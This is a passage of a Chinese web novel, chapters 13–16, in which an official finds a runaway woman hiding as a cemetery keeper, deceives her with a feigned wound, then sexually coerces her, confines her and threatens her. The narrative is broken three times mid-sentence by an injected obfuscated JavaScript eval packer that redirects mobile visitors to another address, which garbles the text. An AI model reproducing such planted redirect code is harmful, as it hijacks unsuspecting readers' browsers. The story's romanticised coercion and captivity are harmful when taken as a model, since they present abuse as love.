贾文菡适时接过他递来的绸帕,塞到妹妹手里,打趣道:“女大不中留。也没见你何曾对哥哥如此心疼过。” 贾文萱接过绸帕擦泪。“哥哥这话说着好笑,你和大哥哥何时重伤过。” 谢庭钰出来打圆场:“这壶碎玉春昨日才从海棠树下挖出来,味甜香清,想邀二位与我同饮,庆祝雪过天晴。” 贾文萱破涕而笑,夺过他手上的白玉壶,说:“你的手还伤着,我来斟酒。” 谢庭钰并不推辞:“多谢。” 见妹妹先给对方斟酒,贾文菡冷哼一声:“在家倒不见你这般殷勤。” 贾文萱扭头不理二哥。 三人举杯喝过一轮。 贾文萱笑吟吟地看向谢庭钰,问他:“这酒味道如何?” 主人家的酒,客人却问主人酒的味道如何,问的当然不是酒,而是这位客人专门为主人倒的这一杯酒。 谢庭钰笑:“宛如天宫瑶池宴里的琼浆玉露,千杯万杯都比不上刚才那一杯。” 贾文萱登时开心得合不拢嘴,然后问旁边的哥哥:“妹妹方才给哥哥倒的那一杯酒,味道如何?” 贾文菡故作冷漠道:“没品出来。妹妹再倒一杯我尝尝。” 贾文萱:“不要!” 回贾府时,贾文萱悄声问贾文菡,谢庭钰的府上有没有豢养妾侍家妓? 贾文菡调查过他几回,都没有查到他私德有亏的线索,今日前来探望,又请他引路在谢府游玩一圈,别说妾侍家妓,连寻常府邸里会养着的舞姬歌女都没有。 贾文萱高兴地握着二哥的手臂晃来晃去,更是不解地问:“那为何你们总是不同意我与他的婚事?这么多郎君里,我最喜欢的就是他。” 哪里是他们贾家人不同意,只是这位光风霁月的谢大人无心入赘贾家,更无意加入我派麾下。 方才贾文菡又对谢庭钰旁敲侧击,他却态度模糊,只言一切都是为了百姓。 贾文萱还不知朝堂发生了什么事情,故此贾文菡只说:“婚姻大事,岂能简单了事?况且他对那定国公府的宋小姐,不也青睐有加?我看此人品性有疑,还得再观察。” “那是宋元仪非要凑上来的!谢庭钰又没有氏族撑腰,哪来的胆子对那些千金无礼?等入了贾家就不同了。” 妹妹天真烂漫,做哥哥也不想挑明,抬手拍拍她的手背,安抚道:“你的婚姻大事不仅牵扯你的幸福,更牵扯着家族利益,多观察几日总没错。他若真心待你,等一等又何妨。” 贾文萱想了想,嘟着嘴乖顺道:“知道了。” 贾家兄妹才来探访,次日大理寺司直黎堂真与宋元仪相伴,一道来谢府探望。 多亏了黎堂真,宋元仪知道更多内情。 二人一见到谢庭钰就哭。 宋元仪捏着绸帕,一边说着“世道多艰,贤人总受小人累”,一边呜呜哀泣。 黎堂真叫着“他们要是嫉妒大人功劳多,怎么不见他们亲自去救灾”之类的言语,捶胸恸哭。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240486|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭钰瞧着好笑又无奈,反倒过来宽慰两位情真意切的小友。 之后琼影携一众掌柜前来递账本,他们没见过这番模样的东家,掩面又要哭将起来。 谢庭钰真是头都大了,皱眉道:“我又没死。一个个都来给我哭丧?不许哭!都给我高兴点儿。现在谈的是赚钱的买卖,财气都要被你们哭走了。” 最后来的一位,是陆佑丰。 大理寺缺了一个左少卿,他忙得脚不沾地,好不容易挑了一个休沐的日子,赶来探望。 一见对方躺在水榭里悠闲翻书喝茶,陆佑丰感叹道:“瞧你也没多严重,怎么一个个都跟我形容得你有多凄凉一样。” 谢庭钰耸耸肩,也叹息道:“终于来了一个不在我面前哭的人。” 陆佑丰品了一盏茶,随后感慨地笑道:“怕是都在为你的遭遇感到不平吧。哎——这都什么狗屁倒灶的事情。” “不说这些。大理寺一切都还好?” “那真是有的说了。” 二人十分畅快地闲叙一番。 谢庭钰唤来李达,说取坛寒潭春来与陆大人慢饮一番。 冬还没散尽,夹杂着一点冬寒的穿堂风灌盈水榭,纱帘吹拂而起,送来阵阵春花幽香。 陆佑丰随意一瞧,而后指着堤岸上的那一片西府海棠说:“欸,你这也种了海棠?” 谢庭钰倏地一愣:“也?” “是啊。” 李达送来寒潭春,陆佑丰接过,扯开封塞,清冽的酒香顿时弥漫水榭中。 陆大人感叹:“哎呀,这一闻就是好酒啊。” 谢庭钰还挂心他方才的话,扔了手中的书,从榻上坐起来,追问他:“为什么突然说起海棠?” “这事儿,说来也挺奇的。”陆佑丰端起美酒喝了起来。 “快说。”谢庭钰无心喝酒。 陆佑丰说起前些日子查案,正巧去到秋衡山上一处姓何人家的墓园,碰到里头的一位守陵人。 通常会做守陵人的,不是家族里的大孝子,就是孤寡老伯,但何家的那位守陵人偏偏是一个中年妇人,脸上还有陈年旧疤。 询问一番才知道,那妇人是受不了婆家和丈夫的毒打,一路逃到玉京,又怕被丈夫抓回去,就躲到秋衡山当了守陵人,起码有屋住,还能赚点散银混口饭吃。 恰巧何家有位祖先偏爱海棠花,所以那四周种了许多海棠树,那妇人也给自己改名叫“海棠”。 “好一个‘海棠’。”谢庭钰强压心口翻涌的情潮,饮尽一杯凉酒。 怪不得他无论如何都找不到她,原来一直都躲在山里。 那墓园荒无人烟,她又不与人交际往来,怕是要问到土地公处,他才有机会知晓她的行踪。 果然如他所料,她真的还在玉京。 谢庭钰的心情稍稍平复了一些,又问陆佑丰:“那妇人住处,是否有用古朴抑或残破之物为花器,但插的都是些山野枝叶?” 陆佑丰大惊:“你怎么知道?!” 谢庭钰闭眼长叹一声,心道:真是踏破铁鞋无觅处。 他拍桌而起,义正辞严地说:“那妇人与我手上的一桩害人案有重大干系,你可还记得那墓园在哪儿?” 陆佑丰信以为真,连忙搁下酒盏,说:“自然记得。” 二人当即策马扬鞭,出城去了郊外的秋衡山。 到时小屋无人,但有温着的热水,想来是去了别处,他们就一道在屋前等待。 不知过了多久,远处传来脚步声。 还有轻快的哼乐声。 谢庭钰凝神一听。 他太清楚那是什么曲子了。 是他在回京途中,以“修身养性”为由,硬逼着棠惊雨学会的一曲《清风送酒》。 疏密绿树间,一道人影穿行而过。 谢庭钰双臂交叠搁在胸前,紧紧盯着那道身影。 看她穿过岩石,绕过林道,拂开交错的枝叉,于初春艳阳下,清凌凌地出现在眼前。 是一张他魂牵梦萦的,熟悉的脸。 温和的笑容凝固在那张脸上,霎时转为惊愕的神色。 彼时阳光潋滟,山风阵阵,无数海棠花瓣翩然四散。 花海一样的点点胭脂色,浮荡轻笼在久别重逢的二人之间。正是: 锦州花楼月下见, 山前驿馆久缠绵。 正是玉京好风景, 落花时节又逢卿。 14. 第 14 章 木屋前的方桌正中央放置着一个缺口的斗笠碗,碗里有水,水面洒着几点米粒大小的碧色浮萍,水下是点点闪烁的砂砾,一根嫩芽似的水草伫立其中。 四方桌,三个面都坐了人,面前都搁了一杯热气氤氲的水。 两个表面平静,内心惊涛骇浪。另一个,表里如一的惊讶。 “怎么一个两个都会涂脸化容。——姑娘也是跟云游手艺人学的?” 陆佑丰惊愕地打量正对面的棠惊雨,这张年轻的、带着一点小麦色的、清丽的脸,与先前他看到脸上有疤痕的中年妇人形象截然不同。 不仅是模样不同,甚至连气质都变了,若不是今日突然造访,他可能永远都不会猜到这居然是同一个人。 棠惊雨垂眼盯着陶土杯,摇摇头,说:“自己胡乱化的。” “那你现在这张脸,是真是假?”陆佑丰问。 她抬手摸了一下自己的脸,思考了一下后说:“假的。” “嘁。” 谢庭钰一直乜斜着眼偷瞧她,闻言冷嗤一声。 陆佑丰看向谢庭钰:“你们认识?” 谢庭钰转正眼,望向前方团团胭脂色的海棠林,冷漠道:“哼,我怎会认识此等容颜善变的人。” 陆佑丰诧异地看着身边的同僚,又问:“你当时不是说她与你手上一桩害人案有重大干系吗?” 他转过身,光明正大地看着鹌鹑一样的棠惊雨,厉声道:“抬头。我有话问你。” 俨然一副当差查案的严肃模样。 棠惊雨抿着唇,缓缓抬头,视线只落到他的肩膀处。 他不耐烦地扣指敲桌,命令道:“直视我的眼睛。” 她揪着衣角,缓慢地看过去,静静与他对视。 许久不见的一双秋水眸,一如既往的盈盈清趣。 谢庭钰沉默半晌,威严转为无奈,语气软和了几分:“你先前说会来当守陵人是因为被婆母和丈夫毒打,当真?” 她摇摇头。 他的脸色又缓和了一点,再问:“你来这儿多久了?” 她的目光落了下来,不敢继续与他对视,小声地回答:“将近一年了。” “好得很!”他恨恨道。 陆佑丰“嘶”一声,突然出声:“我才反应过来,你手头上的案子不是都转给我了吗?怎么还有一桩害人案?” 谢庭钰面容平淡地端起陶土杯喝了一口热水,说:“哦。大约是我记错了罢。” 陆佑丰震惊到目瞪口呆,张着嘴甚至骂不出一句合适的话来。 他没理陆姓同僚,继续问一身朴素的棠惊雨:“在这鬼地方住着,是怎么熬过雪灾的?” 她的目光落到他冻伤的手上,印象中一双如竹节白玉的手,如今满是斑驳的红瘀。 她低头看了眼自己的双手,冻伤的地方不多,只在指尖处有一点。 雪灾才过去不久,那股刺骨肃杀的寒冷回忆起来,依然让指尖隐隐作痛。 她拢着双手,放到嘴边哈气暖了两下,才回道:“收拾了炭火干粮和被褥,躲进了墓里。我留了一个透气的口,有些毛皮厚实的小兽跑了进来,我们缩在一起取暖,熬了过去。” 陆佑丰唏嘘道:“也是不容易。” 谢庭钰蹙眉,克制自己心疼的情绪,脱口而出的话不由得变成了讥讽:“命真硬。这么一副孱弱的身体,竟连阎王爷都不敢收。” 陆佑丰再次惊讶地看向谢姓同僚,不知对方今日是怎么一回事,哪哪都不对劲。 棠惊雨没听出他的弦外之意,反而赞同地点了下头:“是挺硬的。” 谢庭钰被气得深吸一口气,咬牙道:“我那是在夸你吗?” 她疑惑地抬眼看他,被他阴沉的神色稍稍吓到,小心翼翼地问:“不然是在骂我吗?” 谢庭钰闭上眼,喝了一口变温的水降火气。 陆佑丰见状,“噗嗤”一笑。 “姑娘,你跟谢大人之前认识吧?”陆佑丰的话音里还带着一点看好戏的笑意。 棠惊雨飞快地瞥了一眼已经睁开眼的谢庭钰,随后坚定地摇头:“不认识,没见过。” 咔—— 陶土杯在谢庭钰的手中捏碎。 她惊愕地看着他。 他冷冷出声:“人穷,杯子都次些。一捏就碎。再拿一个来。” “没有了。”她这里一年到头也见不到几个人影,哪来这么多茶杯。 他甩甩手,盯着她冷笑:“穷得叮当响,真是可怜。” 她摇头为自己正名:“我不穷,也不可怜。” 山里本来就更冷一些,为了过冬,她提前准备了上好的银丝炭、虎裘绒被、猪牛肉干等一干御寒之物。现在这些东西都搁在墓里还没拿出来。 这木屋看起来简朴老旧,她穿的也大多是麻布葛衣,就是担心自己一个人在山上,钱财遭贼人惦记,才如此遮掩。 只是她再不穷,跟有一条街商铺的谢庭钰比起来,那也是穷得没眼看。 故此谢财主嗤笑一声,说:“可怜之人总爱拿话妆点自己,自以为是地遮掩自己的可怜,哪知瞧上去是可笑又可怜。” 棠惊雨从来说不过他,眉峰拢起,低头闷闷地抿了一口温水,看随风泛起浅浅涟漪的斗笠碗,见里面的浮萍相碰在一起。 她没好气地回顶一句:“那也不关大人的事。” “谁想理你似的。”谢庭钰立刻回嘴,“我不过当个笑话来看。” 他说着就想喝口水,一抬手才发现陶土杯早被自己捏碎,于是愤懑地握拳锤了一下桌面。 被遗忘已久的右少卿,没忍住又笑出声。 陆佑丰与左少卿共事多时,对其印象一直是既圆滑理智又谦恭文雅,遇到再险的案子都是冷静的,遇到再多的不公都是恬淡的。 从来没有见过对方如此失控的模样,尤其是他强行装作自己一切正常,于是看上去更失控了。 谢庭钰一肚子怨气,闻声望去,问:“你怎么还在这儿?大理寺很闲吗?” 陆佑丰给他递了一个白眼,毫不留情地说:“我看你是热水喝进脑子里了。我今个儿要不是休沐,哪来的闲心陪你疯癫。” 谢庭钰不太好意思地轻咳一声,随后看向木头一样盯着斗笠碗不说话的棠惊雨,心生不满,但又转了一个态度,用略带哀戚的语气说:“我自是疯癫。” 他叹息一声,正眼望向海棠翩飞的墓园,继续道:“为了雪灾救援能顺利进行,我辗转各地,事事都亲力亲为,得罪再多势力和同僚也在所不惜。 “除夕那夜,玉京城里还在热火朝天地准备团圆饭,而我还远在灵州的受灾地,用一碗素菜饺子应付了事。 “那些日子里,针刺一样的雪粒戳在身上,刀刃一般的寒风刮伤我的手、拍裂我的脸。最严重时,我的手甚至抬不起一壶热水。 “只要能让更多的人受益,我苦些累些也无妨。只是最让我心寒的是,当这一切都安然结束后,等待我的不是褒奖,而是雪片一样批判指责我的奏疏。 “他们不仅要我革职,甚至抄家流放。幸而圣上公允,朝中还有明事理的大臣,最终让我将功抵过,罚了一年的俸禄,判了停职。” 谢庭钰说完,转头看向目光流淌着伤感的棠惊雨,心里暗自欣喜:还好不是一块真木头。 棠惊雨一早就看出他与一年前的身形容貌大有不同,那双手伤得比她严重得多,只是没想到背后竟然是这样一个悲伤的故事。 她这人不大计较,直接原谅他先前的无礼。 想出言宽慰他,可惜肚子里也没什么墨水,于是她说道:“再难熬的冬天都过去了,现在已经是春天了——草在发芽,树枝在生长,花朵在开放,一切都会好起来的。” 一旁的陆佑丰听了谢的话,却跟见鬼一样打量他。 这位仁兄明明在出城以前,还在风轻云淡地跟所有前来探访的人说“我没事,我很好”,到了这姑娘面前,竟然大吐苦水,大摆自己的委屈凄惨。 陆佑丰越发肯定他跟这位姑娘交情匪浅。 谢庭钰看也不看同僚,只看着为他感伤的棠惊雨,变脸似的温声道:“只是我帮了许多人,却没有照拂到远在荒山上的你。” 他的神情实在哀伤,棠惊雨当即搜肠刮肚想理由,过了一会儿安抚道:“有的。往年旧地发生水灾,总有流寇打家劫舍。 “今年到了玉京,我预计也会有被迫成为流寇的灾民,所以在屋里放了一些干粮碎银,希望他们拿去后不要砸了我的木屋,也不要破坏墓园。 “等雪都停了,我回到木屋一翻看,发现碎银干粮都在,木屋也完好,墓园甚至没有其他人来过的痕迹。说明受灾的百姓们得到了很好的照顾,不必被迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253507|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋生。” 听了她的话,他情不自禁地露出一个温暖的笑容,明知故问:“当真?” “嗯。”她态度诚恳地点了一下头。 那一张平静无波的秀脸,难得荡漾出一丝笑意。 谢庭钰眉眼处的笑容加深了几分。 穿堂山风四面吹拂而来,春花携来暖香,沾上情意流动的浪漫诗意。 “咳!咳!” 如坐针毡的陆佑丰重重咳嗽两声,提醒二位旁边还有一个喘气的大活人。 谢庭钰转过身,看着陆佑丰正要开口,突然二人脸色骤变。 陆佑丰握住腰间的剑柄,向右倒去。 谢庭钰倾身向左,一手抽出腰间的长剑,一手揽住还不知道发生什么事情的棠惊雨,将她抱到怀里,一旋身转着剑接连打掉咻咻飞来的暗箭。 陆佑丰上前抬起桌脚,以桌为盾挡去四面飞来的冷箭。 很快,树林各处涌出一个个手持兵械的黑衣刺客。 谢庭钰让她进屋藏好。 棠惊雨来不及反应,只凭本能进屋躲到门边。 她快速冷静下来,听着屋外激烈交战的缠斗声,知道此刻的自己帮不上一点忙,还可能被刺客抓去当人质。 想明白后她立刻起身,抄起烧水锅的大木盖,快步走到柴火堆阴暗处,以大木盖遮身藏匿起来。 刀砍剑刺,锵锵铮铮响闹了好一阵才停歇。 棠惊雨憋着气不敢大口呼吸。 只听一声情绪激动的喊声响起—— “棠!” 她这才松了气,撑着蹲到发麻的双腿出来,说:“我在这儿。” 一身血污的谢庭钰即时赶过去,又听她说:“我没事儿。你怎么样?” 她的话音还未落,谢庭钰就左手捂着腰腹处,一脸痛苦地撑着长剑半跪到地上。 她吓一跳,跟着蹲下扶住摇摇欲坠的郎君。 垂头一看,发现他腰腹处受了重伤,鲜红的血汨汨而流,就快浸透整个手掌。 她吓得满脸煞白。 四下一看,她才知道屋里果真进了几名刺客,他们都倒在血泊里,屋内一片打斗过的痕迹。 陆佑丰在屋外检查完有无剩余刺客,一进屋就见此番状况,急忙上前,从茄袋里翻出一枚止血丹,先喂他服下。 他们出来的急,身边没带侍卫,给了那些刺客可乘之机。现在木屋各处都是刺客的尸体,难保不会有第二波刺客。 所以谢庭钰立刻跟陆佑丰说:“他们是冲我来的。你先行回京通知曹子宁和章平洲。” 然后他看向惊慌失色的棠惊雨,态度十分客气地问:“棠姑娘,你那墓里还能躲人吗?” 她连连点头。 拿上屋里的药箱,陆佑丰跟着棠惊雨将流血不止的谢庭钰一同搀扶进墓里。 随后陆佑丰回到木屋处,解开马绳,当即策马回京。 昏暗的墓里,只点了一盏泥黄色的油灯。 朦胧的光影间,谢庭钰平静地看着为自己解衣的棠惊雨,问她:“我若死了,你会怎么做?” 她哭出声:“为你守陵。” 他呢喃道:“果真还是在乎我的,对吗?” 她一心忧惧他的伤,也没仔细听他在说什么,只胡乱地点头,“嗯嗯”两声以作回应。 他身上的衣衫悉数敞开。当看到皮肤上浅薄的血迹时,她略显惊讶,接着用布帕轻轻擦拭血迹后,才猛然发现—— 他根本就没有受伤! 谢庭钰完全褪去方才病弱的模样,阴恻恻地开口:“就凭那帮杂碎的武功,怎么可能伤到我。倒是你……” 她惊愕地望着他。 此刻想跑已经来不及,他已经紧紧搂住她的腰,将她禁锢在怀里。 在半明半暗的火光中,他的神态居高临下,爱恨不明:“……让我好找啊。棠惊雨。” 阴冷的寒意从背脊传遍周身。她的身体不由自主地颤抖起来,骤然忆起他当初警告她的话。 没了其他人在场后,披着羊皮的恶狼终于撕开他阴森湿欲的一面。 “怕什么?”他笑道,抬起满是刺客之血的左手,轻轻抚过她的脸颊,“抖得这么厉害。” 他侧头贴近她的耳边,压抑着滔天情潮地、充满恨意地、轻声地说:“我又不会吞了你。我只会,*烂你的*。” 15. [锁] [此章节已锁] 在梦里。 她摔进一个很深的渊潭。水里有条滑腻强悍的蛟龙。 她挣扎着要浮上去。 蛟龙紧紧缠住她的身体,扯着她水里乍起乍沉,几乎要了她的命。 在呼吸快要断掉的那一刻,她的意识骤然清醒。 棠惊雨睁开沉重的眼皮,望着头上的松花绿色床幔发愣。 脑子还混沌着,身体已经顺应本能爬起来,干渴的喉咙发痒,她捂住嘴咳嗽,面前不知谁递来一杯水,便先拿过来喝了。 对方又递来一杯,她也拿起来喝个干净。 终于缓过神,她顺着投射在床褥上的阴影望去,床边好端端地站着一位郎君。 谢庭钰已经换了一身干净的常服,姿态爽朗地伫立在清幽雅致的卧房里。 见他靠过来,昨日交颈风流的回忆跟海水一样涌上来,她慌得急忙扯上锦被拢在自己身前,话音颤颤巍巍:“不能再要了。我会坏掉的……” 谢庭钰垂眸看她,语调很平淡:“不过是墓里*了三回,马车上玩了一路而已。夜间我都没碰你,怎么就坏掉了。” 她实在受不住他用如此平淡的神态说如此烂俗的话。 什么叫“而已”?她自觉昨日快要死在墓里。 她缩着肩膀往后一挪动,下意识想离他远一些,猛然发现自己身上什么都没有穿,惊惶地伸手出去扯更多的被子遮住自己的身体。 她这一动,手臂内侧、脖颈处、后肩上……的各种痕迹,短暂地晃入他的眼睛里。 他的呼吸变重了几分。 她快速将自己裹好,只敢把视线放到他的膝盖处,小声地说:“劳烦大人把我的衣服还给我。” 他迟迟不应声,她慢慢仰头,发现他正脸色阴沉地盯着自己,那姿态似一只渊潭里即将攻击来客的巨兽。 他解开腰间的勒帛,慢慢往前。“好端端的,非要勾我来*你。” 她惊愕道:“我没有!” 她当下就想跑。 他一扬手掀开被子,大手抓住逃跑的脚腕,一下将她扯倒在床上,倾身覆上去。 纤细的手发颤着往前伸,被一只宽厚的手掌施力压倒在黛螺青锦绸被面,十指交扣,逃脱不能。 悬挂在填漆床两侧的床幔纷纷落下来,轻柔的薄纱如春风吹拂湖面而起的水波一样荡漾,朦朦胧胧地遮住襄王神女的交会。 床框顶端两边各垂挂了一个银雕香囊,晃动中撞击着紫檀木架,最后耐不住逐个滚落。一个滚到猩红杂锦地毡上,另一个落到床边堆叠的男子春衫里。 一阵潮湿的凉风透过半开的轩窗灌进屋内,珠帘上的玉石粒相撞,叮叮咚咚地响起来。 窗边的方几上搁着一只黑褐色素陶花瓶,上面插放着今早刚折下来的海棠花枝。 不多时,淅淅沥沥的银竿雨漫天砸落。 湿风裹着冷雨滴滴打进窗里,窗框被雨水浸得润湿,窗边的青石砖积了一滩水,方几半湿,到处是大小不一的水渍。 沾着重雨的胭脂花瓣片片飘落,黏在方几、地砖上。 更漏点点,篆刻着时辰的竹片又往上浮动了些许。 雨下了许久未歇。 棠惊雨像一只被玩坏的木偶一样躺在床上。 谢庭钰已经换好一身干净的衣衫,亲自拧帕给她擦洗更衣。 珠帘掀开,从卧房出来后就是一个隔间。 他抱着穿好衣裙的棠惊雨坐卧在紫檀木罗汉床上,床上的矮几放着一碗温热的肉粥。 他舀起半勺粥,小心喂到躺在自己怀里的姑娘口中。 一碗粥喂完,屋外的雨也停了。 他依旧搂着她,把玩她的两只手,或是头发;偶尔亲她的脸,吻她的唇。 很想。 想了很久。 昼也想夜也想。 她终于不是在思念里,而是被他实实在在地抱在怀里。 她被闹醒,扭头躲掉他的亲吻。 他捏住她的下颌,又重新吻了上去。 情兴正浓的人丝毫不理会她的哽咽哭求。 他紧紧搂着她,按住她的腰毫不留情地往下压,在她耳边说话时语调却是轻柔的:“怕什么。你的**耐*得很,玩多几次都不会烂。” 正是:眠眠醉醉是何日,浮浮沉沉不肯休。 * 今天的天气很好,阳光明媚,春风和熙。 谢庭钰将填漆床让给棠惊雨睡,自己去睡隔间的罗汉床。 卧房与隔间之间的藤黄色帷幔拆了,换了青白相间的玉石珠帘,只要一点动静,垂坠的玉石粒就会彼此撞击发出叮咚声。 他不会再让她有机会离开——即便是入睡时分。 他依旧不与她同睡。 身体已经沉沦情.欲泥潭,心灵至少还能自控一番。 在他的认知里,同床共枕是一件较于身体接触更为亲密、更需要心灵交触,且等同性命交付的重要的事情。 最适宜的人,应该是他认可的妻子才对。 现在的棠惊雨,不行。 午后的阳光沉沉昏昏,金沙金粉一样浮在珠帘帷幔重叠的屋里。 神乏意懒。正是午歇的好时辰。 棠惊雨喝过调养汤药后,正在拥被静睡。 闲来无事的谢庭钰坐在黄梨木圈椅上,守在她的床边。 她的东西都取了回来,清点一下才发现,她的日子过得十分清简。 然而,王留青前两天给她把脉时却说,她的身体比一年前好了不少。 心境的释然,反而促成了身体的康健。 但她的身体底子依旧不好,想要长寿,还是得细心养着——先把身体基础调理好,再用前些日子圣上赏赐的天灵地宝增加体质,多多锻炼,好好吃饭睡觉,慢慢就会好起来。 此时,谢庭钰正在翻看她在木屋时写的起居录。 说是起居录,实则不过四五张毛边纸。 她会的字并不多,那一手字写得也是宛如稚子初学一般歪扭。 措辞简洁,读来却如甘瓜浮玉井一般清爽可爱。 一则写: 山中清风。 很凉。喜欢。 二则写: 常见鸟虫走蛇。 鲜活不怕。 野草闲枝很多,取来玩。 三则写: 秋风冷,买衣过冬。 叶子黄,果子香。 四则写: 冬寒杀人。 下地生火,吃饭,困觉。 不知日夜。难。 小物来,又一只。 冬过去。 我与小兽活。 五则写: 好春光。 风是海棠雨。 看到最后一张时,谢庭钰几乎是立刻就明白她想说的是:风淅淅,一夜海棠惊雨。 她始终记得他送给她的名字。 于是他强硬地下定论:等同于她也一直在思念我。 睡足一个时辰的人悠悠转醒。 看到床边的谢庭钰,棠惊雨先是一愣,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273133|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢平复心情。 他这些日子停职在家,清闲得很,一日十二时辰,时时刻刻都盯着她。 别扭了几日,她如今已经稍微习惯了一些,不似一开始那样每次都吓一跳。 她不想理他,自顾自地坐起来,从床边的方案上拎起瓷壶给自己倒水喝。 他并不介意她不理自己,反正他总有办法叫她开口与自己讲话。 “想来才知你的手段甚是高明。”他说。 她捧着喝空的马蹄杯,蹙眉疑惑地看他。 谢庭钰:“装模作样地逃跑,不就是为了让我能更加疼惜你吗。还在山里受了许多苦,真是熬得住。” 她无奈地翻了一个白眼,深呼吸一口气,忍不住讥讽一句:“一年过去了,大人还跟从前一样,一点儿长进也没有。” “是吗。那你为什么不离开玉京,还偏偏叫自己‘海棠’?” “我……” 不离开玉京是因为当初马上需要一个新的身份,秋衡山守陵人这个身份实在合她心意。 一住下来后,发现此地风景秀丽又人迹罕见,除了每月会有人固定时间上来给她送点吃食用具需要应付一番,一切完美。 巧合的是,这里种了成片的海棠树。 用了“海棠”这个名字,的确是她的一点点恻隐之心。 停顿了半晌,她没好气地开口:“这世上叫‘海棠’的人海了去了。” 他扬起手中的毛边纸,挑眉道:“哦?那‘风是海棠雨’呢?” 她抬眼一望,即刻认出那是自己写的东西。 她自知自己的字写的不好,记下来的内容也是粗陋浅显。 当下便误以为他又要嘲笑自己肚里没墨水,霎时尴尬到满脸通红,她低头握紧马蹄杯,音调略抬高一点,说:“我随便写的。要笑就笑好了。” 她这副模样,落到他的眼里,却是少女情意被拆穿的羞涩。 他低低地笑了两声,起身坐到床沿,笑吟吟地垂眸看她,抬手轻捏她那微烫的耳垂。 他说:“朝中局势波诡云谲,牵一发动全身。我既要娶名门正妻,自然谨之慎之。所以短时间内还不会考虑成亲一事,你不用担心。” 比起着急攀高枝少走几年苦路,埋下日后受牵连的祸根,他还是更想要稳健地、长久地拥有功名利禄和荣华富贵。 听了他的话,她却腹诽:我担心个鬼!我巴不得你赶紧娶妻生子,放我自由。 为出一口恶气,她挑刺道:“原来这一年里大人还没有娶妻吗?往后也娶不到吗?好没用哦。” 谢庭钰笑容一凝,难得被她哽到无言以对。 他沉下脸,伸手去搂她的腰,气势威严地压下来,冷声道:“再说一遍。” 她真是被他玩怕了,即刻就怂了下来,生硬地转移话题:“我在这边,秋衡山那里怎么办?” 他也不计较她的胡言乱语,听她好奇秋衡山的事情,便语调平淡地回答:“二月十一日夜,秋衡山何家墓园起火,经查发现是守陵人的居所意外失火。” 他直勾勾地盯着她的眼眸,继续刚才的话:“那妇人恐惧担责,连夜奔逃,不知所踪。” 他低头去吻呆愣的姑娘,在她耳边如情人呢喃道:“从今往后,我在哪儿你就在哪儿。” 他风轻云淡地警告她:“你就是要死,也得死在我的怀里。我会将你的尸体埋入后院的海棠林,树根汲取你的养分继续生长,让你能够永远陪在我的身边。” 她惊惶地僵住,连他越发过分的亲吻都不敢推拒。 16. 第 16 章 入夏后,天就亮的早。 卯初时分天边就已经泛起鱼肚白。 轩窗四开,霜色莹亮的天光随着清晨凉风一道充盈屋内。 本朝规定每月初一、十五为上朝日。 今日正是四月十五。 洗漱过后,棠惊雨随意穿着一件窄袖长袍,姿态认真地给要去上朝的谢庭钰穿朝服。 他又教了她一次。 她很快帮他穿好,这会儿正低头系革带。 谢庭钰垂眸看她——云鬓松松,纤手如玉。 紫袍穿完,时间还够。 他伸手用虎口处托起她的下颌,一张颇具姿色的面容悉数呈现在眼前。 经过两个多月的精心调养,她的脸莹润了许多,皮肤白皙滑腻了不少,气色也好了很多,真像一位养在深闺人未识的娇小姐。 确实是“人未识”,除了这座府里的一小撮人,没人知道她在谢庭钰的卧房里住着。 “张嘴。”他说。 她抿紧唇,情不自禁地深吸一口气。 “不听话?”他的大拇指指腹轻抚她的两片唇瓣。 “你要上朝了。”她小声地提醒。 “不急。”他兴致盎然地盯着她。 他多的是办法要她听话。 她深知这一点,当下只好垂下眼睫,依他所言分开双唇。 托住下颌的手挪到她的后颈处,他俯低上半身探舌去吻她。 一个旖旎的深吻。 结束后他直起腰,满意地摸一摸她的脸,然后拉起她的右手,捏住她的掌心往自己唇边放。 哪怕已经相隔一年多的时间,她的身体依旧记得那天他入宫面圣前,是如何作恶咬痛她的手。 下意识就想缩回来。 他瞬间攥紧,看着她笑,低醇的嗓音如同雨夜里温过的酒:“怕我咬你?” 她别开头,视线落在他斜后方的一张香几上,抿着唇不说话。 “我不咬你。”他自顾自地回答。 亲她的右手虎口处时,她的身体下意识地颤抖了一下,他闷声笑起来,又亲了一下她那同样敏感的掌心。 玩够了,他才松开她,心情很好地上朝去。 * 谢庭钰官复原职半月后,外出公干回来的陆佑丰才有空同他说上两句话。 “上回的刺客查清楚了吗?”陆佑丰问。 谢庭钰“哈哈”一笑,说:“是受贪污赈灾款被砍的许大人家的老母亲所指使。” 那位老母亲眼盲耳聋,托许大人临终遗言,她还不知道自己儿子已经被处刑了,目前被安置在郊外的尼姑庵养老,哪来的余力指使一帮训练有素的刺客下手。 